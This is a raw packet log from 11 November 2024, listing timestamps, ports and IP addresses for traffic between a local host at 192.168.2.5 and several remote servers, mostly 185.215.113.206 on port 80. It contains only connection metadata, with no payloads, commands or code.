Nov 11, 2024 19:52:24.139750004 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139760971 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.139761925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139772892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139785051 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139786005 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.139795065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139807940 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139822006 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.139827967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139838934 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139847994 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.139849901 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139863968 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139870882 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.139874935 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139883041 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.139887094 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139899015 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139910936 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139921904 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139930010 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.139930010 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.139934063 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139951944 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139964104 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.139969110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139981985 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.139985085 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.139995098 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140007019 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140017986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140019894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140029907 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140041113 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140041113 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140043974 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140055895 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140063047 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140074968 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140080929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140086889 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140099049 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140110016 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140120983 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140125036 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140125036 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140132904 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140144110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140155077 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140161037 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140161037 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140167952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140181065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140191078 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140223026 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140556097 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140568018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140578985 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140589952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140602112 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140605927 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140614033 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140623093 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140635014 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140645981 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140657902 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140659094 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140677929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140701056 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140706062 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140717983 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140729904 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140743971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140753984 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140758038 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140769005 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140783072 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140789032 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140789032 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140805006 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140824080 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140827894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140827894 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140836000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140849113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140856028 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140856028 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140866995 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140878916 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.140883923 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140894890 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.140914917 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.145927906 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.147559881 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.335340977 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.339323044 CET	443	49846	104.126.116.11	192.168.2.5
Nov 11, 2024 19:52:24.339374065 CET	49846	443	192.168.2.5	104.126.116.11
Nov 11, 2024 19:52:24.340332031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.340549946 CET	443	49847	104.126.116.11	192.168.2.5
Nov 11, 2024 19:52:24.340600014 CET	49847	443	192.168.2.5	104.126.116.11
Nov 11, 2024 19:52:24.394721985 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.395117998 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.395148993 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.395158052 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.395415068 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.395422935 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.395477057 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.396409988 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.396631956 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.397257090 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.397324085 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.397414923 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.397473097 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.397655010 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.397655964 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.414988041 CET	49858	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.415015936 CET	443	49858	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.415148020 CET	49858	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.415285110 CET	49859	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.415342093 CET	443	49859	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.415625095 CET	49858	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.415637970 CET	443	49858	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.415667057 CET	49859	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.415973902 CET	49859	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:24.415987968 CET	443	49859	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:24.424849033 CET	443	49852	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:24.425143957 CET	49852	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:24.425172091 CET	443	49852	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:24.426044941 CET	443	49852	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:24.426147938 CET	49852	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:24.427130938 CET	49852	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:24.427191973 CET	443	49852	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:24.431828022 CET	443	49845	204.79.197.219	192.168.2.5
Nov 11, 2024 19:52:24.431915045 CET	443	49845	204.79.197.219	192.168.2.5
Nov 11, 2024 19:52:24.431936979 CET	49845	443	192.168.2.5	204.79.197.219
Nov 11, 2024 19:52:24.432126045 CET	49845	443	192.168.2.5	204.79.197.219
Nov 11, 2024 19:52:24.439363956 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.441251040 CET	443	49848	204.79.197.219	192.168.2.5
Nov 11, 2024 19:52:24.441370964 CET	49848	443	192.168.2.5	204.79.197.219
Nov 11, 2024 19:52:24.441371918 CET	443	49848	204.79.197.219	192.168.2.5
Nov 11, 2024 19:52:24.441652060 CET	49848	443	192.168.2.5	204.79.197.219
Nov 11, 2024 19:52:24.443331957 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.491043091 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.491044998 CET	49852	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:24.491060019 CET	443	49852	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:24.491061926 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.525106907 CET	443	49849	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:24.525748968 CET	49849	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:24.525769949 CET	443	49849	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:24.526125908 CET	443	49849	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:24.527416945 CET	49849	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:24.527482986 CET	443	49849	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:24.528165102 CET	49849	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:24.535016060 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535135984 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535343885 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535356045 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535373926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535387039 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535397053 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535408974 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535422087 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535433054 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535434008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535446882 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535459042 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535484076 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535484076 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535588026 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535665035 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535676003 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535696030 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535713911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535726070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535726070 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535726070 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535737991 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535749912 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535752058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535773993 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535773993 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535818100 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535830975 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535837889 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535842896 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535854101 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535867929 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535878897 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535886049 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535892010 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535906076 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535907984 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535938025 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535938025 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535950899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535962105 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535974979 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.535980940 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535980940 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.535988092 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536016941 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536026955 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536040068 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536052942 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536058903 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536065102 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536076069 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536087990 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536091089 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536099911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536118031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536124945 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536124945 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536124945 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536144018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536159992 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536179066 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536185026 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536185026 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536185026 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536191940 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536201000 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536204100 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536216021 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536228895 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536237001 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536241055 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536254883 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536262989 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536267996 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536289930 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536289930 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536384106 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536458969 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536500931 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536513090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536531925 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536556005 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536556005 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536600113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536618948 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536632061 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536643028 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536658049 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536670923 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536672115 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536672115 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536686897 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536686897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536686897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536699057 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536709070 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536711931 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536732912 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536732912 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536746025 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536798000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536812067 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536823034 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536838055 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536853075 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536855936 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536865950 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536878109 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536890030 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536892891 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536900043 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536901951 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536915064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536926031 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536928892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536942005 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.536972046 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536983967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.536999941 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537002087 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537014961 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537024975 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537025928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537045956 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537056923 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537070036 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537072897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537072897 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537081957 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537095070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537098885 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537098885 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537106991 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537120104 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537128925 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537128925 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537128925 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537132978 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537152052 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537156105 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537166119 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537178040 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537190914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537203074 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537203074 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537205935 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537231922 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537241936 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537252903 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537270069 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537280083 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537282944 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537296057 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537308931 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537317991 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537318945 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537334919 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537374973 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537405014 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537422895 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537436008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537465096 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537482023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537482023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537553072 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537566900 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537628889 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537628889 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537641048 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537652969 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537683010 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537695885 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537714005 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537746906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537758112 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537765026 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537796974 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537823915 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537848949 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.537852049 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537866116 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537884951 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.537898064 CET	80	49755	185.215.113.206	192.168.2.5
